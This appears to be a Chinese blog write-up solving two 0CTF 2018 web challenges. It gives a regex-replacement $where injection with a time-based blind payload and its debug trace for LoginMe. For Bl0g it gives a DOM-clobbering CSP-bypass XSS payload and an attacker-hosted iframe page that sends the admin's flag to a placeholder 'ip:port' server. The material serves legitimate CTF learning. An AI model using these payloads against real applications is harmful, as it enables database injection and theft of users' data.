2018 TCTF-0CTF 部分Web writeup

LoginMe

  这道题的writeup啃了一段时间,需要先入的概念是:

  • 1、这道题是利用正则进行注入
  • 2、由于req.body的存在不一定要存在username和password参数

  下面是作者的调试代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';

console.log('=============================\n');
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
// 输出每步的替换结果
console.log('正在替换:' + k + ' -----> ' + req.body[k]);
console.log(check_function);
}

console.log(check_function);
var query = {"$where" : check_function};
console.log(query);
console.log('================================\n');
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})

  这里用到了LoRexxar’s Blog中使用的基于时间盲注的方法,我们先看一下payload:

1
|#|=&|this.*"\)|=&|==|[]=%7C%7Ceval(&%7C%22%22+%5C%5B%22%7C=a&%7Ca%22%7C=%2B&%7C%22%2B%7C=&%7C%22%22%5C%5D%2b%7C=aaaa&%7Caaaa%22%7C=%2B&%7C%5C)%7B%7C%5B%5D=bbb).match(/^1.*/i)){sleep(4000);}else{return%20&|\["|=&|""b|=%2b&|"bb|=&|return(\s.*)*0|=11111

  首先我们先绕过正则,我们可以通过|xxx|来绕过左右两边的#。比如提交|#|,后台就变成#|#|#,然后正则就会去匹配#,然后把它替换,有了这一点这个payload就容易理解了。

  而在这个payload中我们只需要不断的修改match(/^1.*/i)进行匹配即可。我们先提交一下:




  可以看到明显延迟了4s,然后我们从控制台的输出信息里去理解这个payload的原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
=============================
正在替换:|#| ----->
if(this.username == ""username"" && ""username"" == "admin" && hex_md5(""password"") == this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|this.*"\)| ----->
if("" == this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|==| -----> ||eval(
if("" ["||eval("] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|"" \["| -----> a
if("a"||eval("] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|a"| -----> +
if(""+"||eval("] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|"+| ----->
if(""+""||eval(""] this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|""\]+| -----> aaaa
if(""+""||eval("aaaa" this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|aaaa"| -----> +
if(""+""||eval(""+" this.password_nnuty7q6zy){
return 1;
}else{
return 0;}
正在替换:|\){| -----> bbb).match(/^12.*/i)){sleep(4000);}else{return
if(""+""||eval(""+" this.password_nnuty7q6zy["bbb).match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|\["| ----->
if(""+""||eval(""+" this.password_nnuty7q6zy""bbb).match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|""b| -----> +
if(""+""||eval(""+" this.password_nnuty7q6zy"+"bb).match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|"bb| ----->
if(""+""||eval(""+" this.password_nnuty7q6zy"+"").match(/^12.*/i)){sleep(4000);}else{return "]
return 1;
}else{
return 0;}
正在替换:|return(\s.*)*0| -----> 11111

if(""+""||eval(""+" this.password_nnuty7q6zy"+"").match(/^12.*/i)){sleep(4000);}else{"11111\r\n";}
{ '$where': 'if(""+""||eval(""+" this.password_nnuty7q6zy"+"").match(/^12.*/i)){sleep(4000);}else{"11111\\r\\n";}' }
================================

  有了上面的说明,再加上调试信息,我们就很容易理解这个payload了。

Bl0g

  这道题跟强网杯的Share your mind有点相似,它是考察RPO,这里是CSP,但是触发方法都是一样的,都是提交url后用xss bot激发。

  首先这个站点的功能如下:




  可以发现flag就在/flag下,但只有admin才能查看,非常明显的xss利用。




  所以粗略攻击链就出来了,我们在/new里插入恶意xss,然后在/submit中提交恶意的url,这个url的目的就是让bot访问/flag,然后传回flag。

  所以我们先找到一个xss,经过探测我们可以发现在/new下post请求里的effect参数没有做任何过滤。插入的效果如下:




  这里虽然你已经插入了script,但由于CSP的保护,你的内嵌script的不能执行了,所以就没有了弹窗。相应的CSP如下:
1
2
Content-Security-Policy:script-src 'self' 'unsafe-inline'
Content-Security-Policy:default-src 'none'; script-src 'nonce-oPxSn4qhUHs6fU+ftUe/xpPI8WM=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'

  相关的script-src值及其含义如下:

1
2
3
4
'unsafe-inline':允许执行页面内嵌的<script>标签和事件监听函数
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

  注意到这里的script-src: 'self','nonce-oPxSn4qhUHs6fU+ftUe/xpPI8WM=',说明它只允许加载本站的script,而且script必须有一个token,就例如:




  满足上述条件的script才能被执行,而很明显,我们插入的script并没有token,所以也就无法执行了。

  然而题目还是有解的,我们查看下article.js

1
2
3
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});

  可以发现这里存在动态插入任意值的漏洞,所以,我们可以通过动态插入script标签来绕过CSP

  effects的定义可以在config.js中找到




  我们接下去的目的就是考虑能不能控制effects的值,下面引用了lorexxar师傅的原话:

在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签

  也就是说,我们可以通过effects获取到<form name=effects>这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。再看看这些js文件的导入顺序,我们发现config.js是第一个被导入的。




  所以我们传入:
1
id"><form name=effects id="<script>alert(1)</script>"><script>

  效果如下:






  可以看到payload最后一个script刚好把config.js给闭合了,并且由于CSP,闭合掉的script标签没有token并不能执行。再加上:
1
2
$("#effect").val() --> id
effects[id] --> <script>alert(1)</script>

  所以成功的执行了弹窗测试。

  接着就构造payload获取flag了,需要注意的一点是effect参数最长只有70个字符,所以我们无法直接在/new页面上获取到flag,这时候,我们在看/submit里可以提交一个url,而http://202.120.7.197:8090/login?next=//www.baidu.com是可以任意跳转的,所以我们可以让它跳转到自己的服务器上加载恶意代码,跟/new打一个里应外合

  首先我们构造出payload:

1
effect=id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>

  这里通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name。对于windos.name的说明可以参考:

window.name(一般在js代码里出现)的值不是一个普通的全局变量,而是当前窗口的名字,这里要注意的是每个iframe都有包裹它的window,而这个window是top window的子窗口,而它自然也有window.name的属性,window.name属性的神奇之处在于name 值在不同的页面(甚至不同域名)加载后依旧存在(如果没修改则值不会变化),并且可以支持非常长的 name 值(2MB)。

  然后我们在自己的服务器上放置如下html

1
2
3
4
5
<iframe src="http://202.120.7.197:8090/article/3788"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
setTimeout(()=>{location.href='http://ip:port/?'+frames[0].window.name},1500)
</script>

  然后在相应的端口上做好监听,之后在/submit提交你这个html文件的url地址。如:http://202.120.7.197:8090/login?next=//your_ip/evil.html

  最后就能发现flag已经打到你的服务器上了。




  参考链接:

    http://www.ruanyifeng.com/blog/2016/09/csp.html

    https://lorexxar.cn/2018/04/05/0ctf2018-blog/

    https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

  
  
  
  

# CTF

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×